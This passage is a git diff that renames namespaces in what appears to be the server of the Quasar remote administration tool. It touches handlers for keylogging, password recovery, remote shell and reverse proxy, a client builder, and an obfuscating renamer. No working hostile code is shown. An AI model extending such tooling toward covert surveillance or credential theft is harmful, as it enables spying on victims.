2b0e40503..13aabd061 100644 --- a/Quasar.Server/Controls/RegistryTreeView.cs +++ b/Quasar.Server/Controls/RegistryTreeView.cs @@ -1,10 +1,6 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Windows.Forms; +using System.Windows.Forms; -namespace xServer.Controls +namespace Quasar.Server.Controls { public class RegistryTreeView : TreeView { diff --git a/Quasar.Server/Controls/RegistryValueLstItem.cs b/Quasar.Server/Controls/RegistryValueLstItem.cs index c9d8a2ea0..b8d896f0c 100644 --- a/Quasar.Server/Controls/RegistryValueLstItem.cs +++ b/Quasar.Server/Controls/RegistryValueLstItem.cs @@ -1,9 +1,9 @@ -using Quasar.Common.Models; -using System.Windows.Forms; -using xServer.Core.Extensions; -using xServer.Core.Registry; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Server.Core.Extensions; +using Quasar.Server.Core.Registry; -namespace xServer.Controls +namespace Quasar.Server.Controls { public class RegistryValueLstItem : ListViewItem { diff --git a/Quasar.Server/Controls/WordTextBox.Designer.cs b/Quasar.Server/Controls/WordTextBox.Designer.cs index ef175a61a..21dc61de2 100644 --- a/Quasar.Server/Controls/WordTextBox.Designer.cs +++ b/Quasar.Server/Controls/WordTextBox.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Controls +namespace Quasar.Server.Controls { partial class WordTextBox { diff --git a/Quasar.Server/Controls/WordTextBox.cs b/Quasar.Server/Controls/WordTextBox.cs index 54d8fcf6c..62a036840 100644 --- a/Quasar.Server/Controls/WordTextBox.cs +++ b/Quasar.Server/Controls/WordTextBox.cs @@ -1,15 +1,9 @@ using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; using System.Globalization; -using System.Linq; -using System.Text; using System.Windows.Forms; -using xServer.Enums; +using Quasar.Server.Enums; -namespace xServer.Controls +namespace Quasar.Server.Controls { public partial class WordTextBox : TextBox { diff --git a/Quasar.Server/Core/Build/ClientBuilder.cs b/Quasar.Server/Core/Build/ClientBuilder.cs index 4b3c1dacd..dc634f505 100644 --- a/Quasar.Server/Core/Build/ClientBuilder.cs +++ b/Quasar.Server/Core/Build/ClientBuilder.cs @@ -1,12 +1,12 @@ using System; using Mono.Cecil; using Mono.Cecil.Cil; +using Quasar.Server.Core.Cryptography; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Helper; using Vestris.ResourceLib; -using xServer.Core.Cryptography; -using xServer.Core.Data; -using xServer.Core.Helper; -namespace xServer.Core.Build +namespace Quasar.Server.Core.Build { /// /// Provides methods used to create a custom client executable. @@ -28,7 +28,7 @@ public static void Build(BuildOptions options) foreach (var typeDef in asmDef.Modules[0].Types) { - if (typeDef.FullName == "xClient.Config.Settings") + if (typeDef.FullName == "Quasar.Client.Config.Settings") { foreach (var methodDef in typeDef.Methods) { diff --git a/Quasar.Server/Core/Build/IconInjector.cs b/Quasar.Server/Core/Build/IconInjector.cs index 5f1f3a76e..ddd678da9 100644 --- a/Quasar.Server/Core/Build/IconInjector.cs +++ b/Quasar.Server/Core/Build/IconInjector.cs @@ -2,7 +2,7 @@ using System.Runtime.InteropServices; using System.Security; -namespace xServer.Core.Build +namespace Quasar.Server.Core.Build { public static class IconInjector { diff --git a/Quasar.Server/Core/Build/Renamer.cs b/Quasar.Server/Core/Build/Renamer.cs index ba4d4dda4..03f213897 100644 --- a/Quasar.Server/Core/Build/Renamer.cs +++ b/Quasar.Server/Core/Build/Renamer.cs @@ -5,7 +5,7 @@ using Mono.Cecil; using Quasar.Common.Utilities; -namespace xServer.Core.Build +namespace Quasar.Server.Core.Build { public class Renamer { @@ -57,7 +57,7 @@ public bool Perform() private void RenameInType(TypeDefinition typeDef) { - if (typeDef.Namespace.Contains("Registry") || typeDef.HasInterfaces) + if (typeDef.HasInterfaces) return; _typeOverloader.GiveName(typeDef); diff --git a/Quasar.Server/Core/Compression/SafeQuickLZ.cs b/Quasar.Server/Core/Compression/SafeQuickLZ.cs index f4b8a48c8..768da7238 100644 --- a/Quasar.Server/Core/Compression/SafeQuickLZ.cs +++ b/Quasar.Server/Core/Compression/SafeQuickLZ.cs @@ -2,7 +2,7 @@ #pragma warning disable 0675 -namespace xServer.Core.Compression +namespace Quasar.Server.Core.Compression { // QuickLZ data compression library // Copyright (C) 2006-2011 Lasse Mikkel Reinhold diff --git a/Quasar.Server/Core/Cryptography/AES.cs b/Quasar.Server/Core/Cryptography/AES.cs index 86c584383..d93ad70b7 100644 --- a/Quasar.Server/Core/Cryptography/AES.cs +++ b/Quasar.Server/Core/Cryptography/AES.cs @@ -2,9 +2,9 @@ using System.IO; using System.Security.Cryptography; using System.Text; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Core.Cryptography +namespace Quasar.Server.Core.Cryptography { public static class AES { diff --git a/Quasar.Server/Core/Data/BuildOptions.cs b/Quasar.Server/Core/Data/BuildOptions.cs index 420507588..dfef8a766 100644 --- a/Quasar.Server/Core/Data/BuildOptions.cs +++ b/Quasar.Server/Core/Data/BuildOptions.cs @@ -1,4 +1,4 @@ -namespace xServer.Core.Data +namespace Quasar.Server.Core.Data { public class BuildOptions { diff --git a/Quasar.Server/Core/Data/BuilderProfile.cs b/Quasar.Server/Core/Data/BuilderProfile.cs index 0a452489c..530b6b462 100644 --- a/Quasar.Server/Core/Data/BuilderProfile.cs +++ b/Quasar.Server/Core/Data/BuilderProfile.cs @@ -3,9 +3,9 @@ using System.Windows.Forms; using System.Xml; using System.Xml.XPath; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Core.Data +namespace Quasar.Server.Core.Data { public class BuilderProfile { diff --git a/Quasar.Server/Core/Data/Host.cs b/Quasar.Server/Core/Data/Host.cs index 60eb3503b..27dad5d6b 100644 --- a/Quasar.Server/Core/Data/Host.cs +++ b/Quasar.Server/Core/Data/Host.cs @@ -1,4 +1,4 @@ -namespace xServer.Core.Data +namespace Quasar.Server.Core.Data { public class Host { diff --git a/Quasar.Server/Core/Data/Settings.cs b/Quasar.Server/Core/Data/Settings.cs index 25d37cd7a..f998adee9 100644 --- a/Quasar.Server/Core/Data/Settings.cs +++ b/Quasar.Server/Core/Data/Settings.cs @@ -3,7 +3,7 @@ using System.Xml; using System.Xml.XPath; -namespace xServer.Core.Data +namespace Quasar.Server.Core.Data { public static class Settings { diff --git a/Quasar.Server/Core/Extensions/ListViewExtensions.cs b/Quasar.Server/Core/Extensions/ListViewExtensions.cs index 6568bd0a9..f3c65db62 100644 --- a/Quasar.Server/Core/Extensions/ListViewExtensions.cs +++ b/Quasar.Server/Core/Extensions/ListViewExtensions.cs @@ -1,8 +1,8 @@ using System.Windows.Forms; -using xServer.Core.Helper; -using xServer.Core.Utilities; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Utilities; -namespace xServer.Core.Extensions +namespace Quasar.Server.Core.Extensions { public static class ListViewExtensions { diff --git a/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs index 1bc13ba2a..345683868 100644 --- a/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs +++ b/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs @@ -1,10 +1,7 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; +using System; +using Microsoft.Win32; -namespace xServer.Core.Extensions +namespace Quasar.Server.Core.Extensions { public static class RegistryKeyExtensions { diff --git a/Quasar.Server/Core/Extensions/SocketExtensions.cs b/Quasar.Server/Core/Extensions/SocketExtensions.cs index f8ca1f28e..d879f792f 100644 --- a/Quasar.Server/Core/Extensions/SocketExtensions.cs +++ b/Quasar.Server/Core/Extensions/SocketExtensions.cs @@ -2,7 +2,7 @@ using System.Net.Sockets; using System.Runtime.InteropServices; -namespace xServer.Core.Extensions +namespace Quasar.Server.Core.Extensions { /// /// Socket Extension for KeepAlive diff --git a/Quasar.Server/Core/Helper/ClipboardHelper.cs b/Quasar.Server/Core/Helper/ClipboardHelper.cs index c66f84a0b..f5d6b120b 100644 --- a/Quasar.Server/Core/Helper/ClipboardHelper.cs +++ b/Quasar.Server/Core/Helper/ClipboardHelper.cs @@ -1,7 +1,7 @@ using System; using System.Windows.Forms; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class ClipboardHelper { diff --git a/Quasar.Server/Core/Helper/CryptographyHelper.cs b/Quasar.Server/Core/Helper/CryptographyHelper.cs index bdb844f5b..b15b90867 100644 --- a/Quasar.Server/Core/Helper/CryptographyHelper.cs +++ b/Quasar.Server/Core/Helper/CryptographyHelper.cs @@ -1,9 +1,9 @@ using System; using System.Runtime.CompilerServices; using System.Security.Cryptography; -using xServer.Core.Cryptography; +using Quasar.Server.Core.Cryptography; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class CryptographyHelper { diff --git a/Quasar.Server/Core/Helper/FileHelper.cs b/Quasar.Server/Core/Helper/FileHelper.cs index 3f03ab445..d4be56a6f 100644 --- a/Quasar.Server/Core/Helper/FileHelper.cs +++ b/Quasar.Server/Core/Helper/FileHelper.cs @@ -1,10 +1,10 @@ -using Quasar.Common.Utilities; -using System.IO; +using System.IO; using System.Linq; using System.Text; -using xServer.Core.Cryptography; +using Quasar.Common.Utilities; +using Quasar.Server.Core.Cryptography; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class FileHelper { diff --git a/Quasar.Server/Core/Helper/FormatHelper.cs b/Quasar.Server/Core/Helper/FormatHelper.cs index c68bf6406..5ee3982c8 100644 --- a/Quasar.Server/Core/Helper/FormatHelper.cs +++ b/Quasar.Server/Core/Helper/FormatHelper.cs @@ -1,7 +1,7 @@ using System.IO; using System.Text.RegularExpressions; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class FormatHelper { diff --git a/Quasar.Server/Core/Helper/HostHelper.cs b/Quasar.Server/Core/Helper/HostHelper.cs index e14582ea1..0f73dc256 100644 --- a/Quasar.Server/Core/Helper/HostHelper.cs +++ b/Quasar.Server/Core/Helper/HostHelper.cs @@ -2,10 +2,9 @@ using System.ComponentModel; using System.Linq; using System.Text; -using xServer.Core.Data; -using xServer.Core.Utilities; +using Quasar.Server.Core.Data; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class HostHelper { diff --git a/Quasar.Server/Core/Helper/NativeMethodsHelper.cs b/Quasar.Server/Core/Helper/NativeMethodsHelper.cs index 1c4efba4b..44d466544 100644 --- a/Quasar.Server/Core/Helper/NativeMethodsHelper.cs +++ b/Quasar.Server/Core/Helper/NativeMethodsHelper.cs @@ -1,7 +1,7 @@ using System; -using xServer.Core.Utilities; +using Quasar.Server.Core.Utilities; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class NativeMethodsHelper { diff --git a/Quasar.Server/Core/Helper/PlatformHelper.cs b/Quasar.Server/Core/Helper/PlatformHelper.cs index acc31df6c..c5f0c8ab7 100644 --- a/Quasar.Server/Core/Helper/PlatformHelper.cs +++ b/Quasar.Server/Core/Helper/PlatformHelper.cs @@ -1,6 +1,6 @@ using System; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class PlatformHelper { diff --git a/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs b/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs index 38c8df1fa..2b5c2c59c 100644 --- a/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs +++ b/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs @@ -2,7 +2,7 @@ using System.Drawing.Imaging; using System.Windows.Forms; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class RemoteDesktopHelper { diff --git a/Quasar.Server/Core/Helper/WindowHelper.cs b/Quasar.Server/Core/Helper/WindowHelper.cs index a633cef90..7d606a057 100644 --- a/Quasar.Server/Core/Helper/WindowHelper.cs +++ b/Quasar.Server/Core/Helper/WindowHelper.cs @@ -1,6 +1,6 @@ -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class WindowHelper { diff --git a/Quasar.Server/Core/Commands/ClientStatusHandler.cs b/Quasar.Server/Core/Messages/ClientStatusHandler.cs similarity index 98% rename from Quasar.Server/Core/Commands/ClientStatusHandler.cs rename to Quasar.Server/Core/Messages/ClientStatusHandler.cs index e3c65d56a..1f938f943 100644 --- a/Quasar.Server/Core/Commands/ClientStatusHandler.cs +++ b/Quasar.Server/Core/Messages/ClientStatusHandler.cs @@ -1,9 +1,9 @@ using Quasar.Common.Enums; using Quasar.Common.Messages; using Quasar.Common.Networking; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class ClientStatusHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/FileManagerHandler.cs b/Quasar.Server/Core/Messages/FileManagerHandler.cs similarity index 99% rename from Quasar.Server/Core/Commands/FileManagerHandler.cs rename to Quasar.Server/Core/Messages/FileManagerHandler.cs index 50e9f1752..3e64cfa03 100644 --- a/Quasar.Server/Core/Commands/FileManagerHandler.cs +++ b/Quasar.Server/Core/Messages/FileManagerHandler.cs @@ -3,17 +3,17 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Networking; +using Quasar.Server.Enums; +using Quasar.Server.Models; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Threading; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Enums; -using xServer.Models; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class FileManagerHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/KeyloggerHandler.cs b/Quasar.Server/Core/Messages/KeyloggerHandler.cs similarity index 96% rename from Quasar.Server/Core/Commands/KeyloggerHandler.cs rename to Quasar.Server/Core/Messages/KeyloggerHandler.cs index c07640bb9..4186c6df7 100644 --- a/Quasar.Server/Core/Commands/KeyloggerHandler.cs +++ b/Quasar.Server/Core/Messages/KeyloggerHandler.cs @@ -1,11 +1,11 @@ using Quasar.Common.IO; using Quasar.Common.Messages; using Quasar.Common.Networking; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Networking; using System.IO; -using xServer.Core.Helper; -using xServer.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class KeyloggerHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/PasswordRecoveryHandler.cs b/Quasar.Server/Core/Messages/PasswordRecoveryHandler.cs similarity index 97% rename from Quasar.Server/Core/Commands/PasswordRecoveryHandler.cs rename to Quasar.Server/Core/Messages/PasswordRecoveryHandler.cs index 50c08e128..41c463c36 100644 --- a/Quasar.Server/Core/Commands/PasswordRecoveryHandler.cs +++ b/Quasar.Server/Core/Messages/PasswordRecoveryHandler.cs @@ -1,11 +1,11 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; +using Quasar.Server.Core.Networking; using System.Collections.Generic; using System.Linq; -using xServer.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class PasswordRecoveryHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/RegistryHandler.cs b/Quasar.Server/Core/Messages/RegistryHandler.cs similarity index 99% rename from Quasar.Server/Core/Commands/RegistryHandler.cs rename to Quasar.Server/Core/Messages/RegistryHandler.cs index fba1392f1..89a3a09c9 100644 --- a/Quasar.Server/Core/Commands/RegistryHandler.cs +++ b/Quasar.Server/Core/Messages/RegistryHandler.cs @@ -2,9 +2,9 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class RegistryHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/RemoteDesktopHandler.cs b/Quasar.Server/Core/Messages/RemoteDesktopHandler.cs similarity index 99% rename from Quasar.Server/Core/Commands/RemoteDesktopHandler.cs rename to Quasar.Server/Core/Messages/RemoteDesktopHandler.cs index 93e9bde0f..d0f96403b 100644 --- a/Quasar.Server/Core/Commands/RemoteDesktopHandler.cs +++ b/Quasar.Server/Core/Messages/RemoteDesktopHandler.cs @@ -2,11 +2,11 @@ using Quasar.Common.Messages; using Quasar.Common.Networking; using Quasar.Common.Video.Codecs; +using Quasar.Server.Core.Networking; using System.Drawing; using System.IO; -using xServer.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class RemoteDesktopHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/RemoteShellHandler.cs b/Quasar.Server/Core/Messages/RemoteShellHandler.cs similarity index 97% rename from Quasar.Server/Core/Commands/RemoteShellHandler.cs rename to Quasar.Server/Core/Messages/RemoteShellHandler.cs index fd7070553..ad0843bc7 100644 --- a/Quasar.Server/Core/Commands/RemoteShellHandler.cs +++ b/Quasar.Server/Core/Messages/RemoteShellHandler.cs @@ -1,8 +1,8 @@ using Quasar.Common.Messages; using Quasar.Common.Networking; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class RemoteShellHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/ReverseProxyHandler.cs b/Quasar.Server/Core/Messages/ReverseProxyHandler.cs similarity index 97% rename from Quasar.Server/Core/Commands/ReverseProxyHandler.cs rename to Quasar.Server/Core/Messages/ReverseProxyHandler.cs index 9ae8ec96f..f95458fb2 100644 --- a/Quasar.Server/Core/Commands/ReverseProxyHandler.cs +++ b/Quasar.Server/Core/Messages/ReverseProxyHandler.cs @@ -1,10 +1,10 @@ using Quasar.Common.Messages; using Quasar.Common.Networking; +using Quasar.Server.Core.Networking; +using Quasar.Server.Core.ReverseProxy; using System.Linq; -using xServer.Core.Networking; -using xServer.Core.ReverseProxy; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class ReverseProxyHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/StartupManagerHandler.cs b/Quasar.Server/Core/Messages/StartupManagerHandler.cs similarity index 96% rename from Quasar.Server/Core/Commands/StartupManagerHandler.cs rename to Quasar.Server/Core/Messages/StartupManagerHandler.cs index 6abebffdc..a05361737 100644 --- a/Quasar.Server/Core/Commands/StartupManagerHandler.cs +++ b/Quasar.Server/Core/Messages/StartupManagerHandler.cs @@ -1,10 +1,10 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; +using Quasar.Server.Core.Networking; using System.Collections.Generic; -using xServer.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class StartupManagerHandler : MessageProcessorBase> { diff --git a/Quasar.Server/Core/Commands/SystemInformationHandler.cs b/Quasar.Server/Core/Messages/SystemInformationHandler.cs similarity index 96% rename from Quasar.Server/Core/Commands/SystemInformationHandler.cs rename to Quasar.Server/Core/Messages/SystemInformationHandler.cs index 47a0d9943..695d30654 100644 --- a/Quasar.Server/Core/Commands/SystemInformationHandler.cs +++ b/Quasar.Server/Core/Messages/SystemInformationHandler.cs @@ -1,10 +1,10 @@ using Quasar.Common.Messages; using Quasar.Common.Networking; +using Quasar.Server.Core.Networking; using System; using System.Collections.Generic; -using xServer.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class SystemInformationHandler : MessageProcessorBase>> { diff --git a/Quasar.Server/Core/Commands/TaskManagerHandler.cs b/Quasar.Server/Core/Messages/TaskManagerHandler.cs similarity index 96% rename from Quasar.Server/Core/Commands/TaskManagerHandler.cs rename to Quasar.Server/Core/Messages/TaskManagerHandler.cs index ba6c6f04d..7b53b375c 100644 --- a/Quasar.Server/Core/Commands/TaskManagerHandler.cs +++ b/Quasar.Server/Core/Messages/TaskManagerHandler.cs @@ -1,9 +1,9 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class TaskManagerHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/TcpConnectionsHandler.cs b/Quasar.Server/Core/Messages/TcpConnectionsHandler.cs similarity index 97% rename from Quasar.Server/Core/Commands/TcpConnectionsHandler.cs rename to Quasar.Server/Core/Messages/TcpConnectionsHandler.cs index 55dfbaa44..3fa94d880 100644 --- a/Quasar.Server/Core/Commands/TcpConnectionsHandler.cs +++ b/Quasar.Server/Core/Messages/TcpConnectionsHandler.cs @@ -1,9 +1,9 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class TcpConnectionsHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Networking/Client.cs b/Quasar.Server/Core/Networking/Client.cs index a91f36fd7..375ef8180 100644 --- a/Quasar.Server/Core/Networking/Client.cs +++ b/Quasar.Server/Core/Networking/Client.cs @@ -1,17 +1,17 @@ -using ProtoBuf; -using System; +using System; using System.Collections.Generic; using System.IO; using System.Net; using System.Net.Sockets; using System.Threading; +using ProtoBuf; using Quasar.Common.Messages; using Quasar.Common.Networking; -using xServer.Core.Compression; -using xServer.Core.Cryptography; -using xServer.Core.Extensions; +using Quasar.Server.Core.Compression; +using Quasar.Server.Core.Cryptography; +using Quasar.Server.Core.Extensions; -namespace xServer.Core.Networking +namespace Quasar.Server.Core.Networking { public class Client : IEquatable, ISender { diff --git a/Quasar.Server/Core/Networking/QuasarServer.cs b/Quasar.Server/Core/Networking/QuasarServer.cs index d07685e8c..eb20464b9 100644 --- a/Quasar.Server/Core/Networking/QuasarServer.cs +++ b/Quasar.Server/Core/Networking/QuasarServer.cs @@ -1,7 +1,7 @@ -using Quasar.Common.Messages; -using System.Linq; +using System.Linq; +using Quasar.Common.Messages; -namespace xServer.Core.Networking +namespace Quasar.Server.Core.Networking { public class QuasarServer : Server { diff --git a/Quasar.Server/Core/Networking/Server.cs b/Quasar.Server/Core/Networking/Server.cs index fcba8e099..c61e46320 100644 --- a/Quasar.Server/Core/Networking/Server.cs +++ b/Quasar.Server/Core/Networking/Server.cs @@ -1,15 +1,15 @@ -using ProtoBuf.Meta; -using System; +using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Net.Sockets; using System.Windows.Forms; +using ProtoBuf.Meta; using Quasar.Common.Messages; -using xServer.Core.Data; -using xServer.Core.Networking.Utilities; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Networking.Utilities; -namespace xServer.Core.Networking +namespace Quasar.Server.Core.Networking { public class Server { diff --git a/Quasar.Server/Core/Networking/UserState.cs b/Quasar.Server/Core/Networking/UserState.cs index 4f9ff8eb6..bf8fb2010 100644 --- a/Quasar.Server/Core/Networking/UserState.cs +++ b/Quasar.Server/Core/Networking/UserState.cs @@ -1,8 +1,8 @@ using System.IO; using System.Windows.Forms; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Core.Networking +namespace Quasar.Server.Core.Networking { public class UserState { diff --git a/Quasar.Server/Core/Networking/Utilities/PooledBufferManager.cs b/Quasar.Server/Core/Networking/Utilities/PooledBufferManager.cs index a83abba19..7e1e0c45f 100644 --- a/Quasar.Server/Core/Networking/Utilities/PooledBufferManager.cs +++ b/Quasar.Server/Core/Networking/Utilities/PooledBufferManager.cs @@ -1,7 +1,7 @@ using System; using System.Collections.Generic; -namespace xServer.Core.Networking.Utilities +namespace Quasar.Server.Core.Networking.Utilities { /// /// Implements a pool of byte arrays to improve allocation performance when parsing data. diff --git a/Quasar.Server/Core/Networking/Utilities/UPnP.cs b/Quasar.Server/Core/Networking/Utilities/UPnP.cs index 13d3fee2a..76c3a5290 100644 --- a/Quasar.Server/Core/Networking/Utilities/UPnP.cs +++ b/Quasar.Server/Core/Networking/Utilities/UPnP.cs @@ -1,9 +1,8 @@ using System; using System.Collections.Generic; using Mono.Nat; -using Mono.Nat.Upnp; -namespace xServer.Core.Networking.Utilities +namespace Quasar.Server.Core.Networking.Utilities { internal static class UPnP { diff --git a/Quasar.Server/Core/Registry/RegValueHelper.cs b/Quasar.Server/Core/Registry/RegValueHelper.cs index e9e2112c6..ba4f7ad3a 100644 --- a/Quasar.Server/Core/Registry/RegValueHelper.cs +++ b/Quasar.Server/Core/Registry/RegValueHelper.cs @@ -1,9 +1,9 @@ -using Microsoft.Win32; +using System; +using Microsoft.Win32; using Quasar.Common.Models; using Quasar.Common.Utilities; -using System; -namespace xServer.Core.Registry +namespace Quasar.Server.Core.Registry { public class RegValueHelper { diff --git a/Quasar.Server/Core/ReverseProxy/ReverseProxyClient.cs b/Quasar.Server/Core/ReverseProxy/ReverseProxyClient.cs index 5c1ecd5aa..57030d746 100644 --- a/Quasar.Server/Core/ReverseProxy/ReverseProxyClient.cs +++ b/Quasar.Server/Core/ReverseProxy/ReverseProxyClient.cs @@ -4,9 +4,9 @@ using System.Net.Sockets; using System.Text; using Quasar.Common.Messages; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.ReverseProxy +namespace Quasar.Server.Core.ReverseProxy { public class ReverseProxyClient { diff --git a/Quasar.Server/Core/ReverseProxy/ReverseProxyServer.cs b/Quasar.Server/Core/ReverseProxy/ReverseProxyServer.cs index dfea5917a..5aa2c69d0 100644 --- a/Quasar.Server/Core/ReverseProxy/ReverseProxyServer.cs +++ b/Quasar.Server/Core/ReverseProxy/ReverseProxyServer.cs @@ -3,9 +3,9 @@ using System.Linq; using System.Net; using System.Net.Sockets; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.ReverseProxy +namespace Quasar.Server.Core.ReverseProxy { public class ReverseProxyServer { diff --git a/Quasar.Server/Core/Utilities/FrameCounter.cs b/Quasar.Server/Core/Utilities/FrameCounter.cs index 57295f093..e0bf792e0 100644 --- a/Quasar.Server/Core/Utilities/FrameCounter.cs +++ b/Quasar.Server/Core/Utilities/FrameCounter.cs @@ -2,7 +2,7 @@ using System.Collections.Generic; using System.Linq; -namespace xServer.Core.Utilities +namespace Quasar.Server.Core.Utilities { public class FrameUpdatedEventArgs : EventArgs { diff --git a/Quasar.Server/Core/Utilities/ListViewColumnSorter.cs b/Quasar.Server/Core/Utilities/ListViewColumnSorter.cs index 3cc8ba31e..9197d0253 100644 --- a/Quasar.Server/Core/Utilities/ListViewColumnSorter.cs +++ b/Quasar.Server/Core/Utilities/ListViewColumnSorter.cs @@ -1,7 +1,7 @@ using System.Collections; using System.Windows.Forms; -namespace xServer.Core.Utilities +namespace Quasar.Server.Core.Utilities { public class ListViewColumnSorter : IComparer { diff --git a/Quasar.Server/Core/Utilities/NativeMethods.cs b/Quasar.Server/Core/Utilities/NativeMethods.cs index 33fe9c3a6..7f90291f5 100644 --- a/Quasar.Server/Core/Utilities/NativeMethods.cs +++ b/Quasar.Server/Core/Utilities/NativeMethods.cs @@ -1,7 +1,7 @@ using System; using System.Runtime.InteropServices; -namespace xServer.Core.Utilities +namespace Quasar.Server.Core.Utilities { /// /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). diff --git a/Quasar.Server/Core/Utilities/NoIpUpdater.cs b/Quasar.Server/Core/Utilities/NoIpUpdater.cs index 8b68f550e..d5d656f78 100644 --- a/Quasar.Server/Core/Utilities/NoIpUpdater.cs +++ b/Quasar.Server/Core/Utilities/NoIpUpdater.cs @@ -2,9 +2,9 @@ using System.Net; using System.Text; using System.Threading; -using xServer.Core.Data; +using Quasar.Server.Core.Data; -namespace xServer.Core.Utilities +namespace Quasar.Server.Core.Utilities { public static class NoIpUpdater { diff --git a/Quasar.Server/Enums/TransferType.cs b/Quasar.Server/Enums/TransferType.cs index 795b5498e..ba161bd7e 100644 --- a/Quasar.Server/Enums/TransferType.cs +++ b/Quasar.Server/Enums/TransferType.cs @@ -1,4 +1,4 @@ -namespace xServer.Enums +namespace Quasar.Server.Enums { public enum TransferType { diff --git a/Quasar.Server/Enums/WordType.cs b/Quasar.Server/Enums/WordType.cs index 3d46599b4..ee6cd1b0f 100644 --- a/Quasar.Server/Enums/WordType.cs +++ b/Quasar.Server/Enums/WordType.cs @@ -1,9 +1,4 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; - -namespace xServer.Enums +namespace Quasar.Server.Enums { public enum WordType { diff --git a/Quasar.Server/Forms/FrmAbout.Designer.cs b/Quasar.Server/Forms/FrmAbout.Designer.cs index b8d447471..3a9ce715d 100644 --- a/Quasar.Server/Forms/FrmAbout.Designer.cs +++ b/Quasar.Server/Forms/FrmAbout.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmAbout { @@ -43,7 +43,7 @@ private void InitializeComponent() // // picIcon // - this.picIcon.Image = global::xServer.Properties.Resources.Quasar_Server; + this.picIcon.Image = global::Quasar.Server.Properties.Resources.Quasar_Server; this.picIcon.Location = new System.Drawing.Point(12, 12); this.picIcon.Name = "picIcon"; this.picIcon.Size = new System.Drawing.Size(64, 64); diff --git a/Quasar.Server/Forms/FrmAbout.cs b/Quasar.Server/Forms/FrmAbout.cs index 7d09236e0..9a466b3e4 100644 --- a/Quasar.Server/Forms/FrmAbout.cs +++ b/Quasar.Server/Forms/FrmAbout.cs @@ -1,9 +1,9 @@ using System; using System.Diagnostics; using System.Windows.Forms; -using xServer.Core.Data; +using Quasar.Server.Core.Data; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmAbout : Form { diff --git 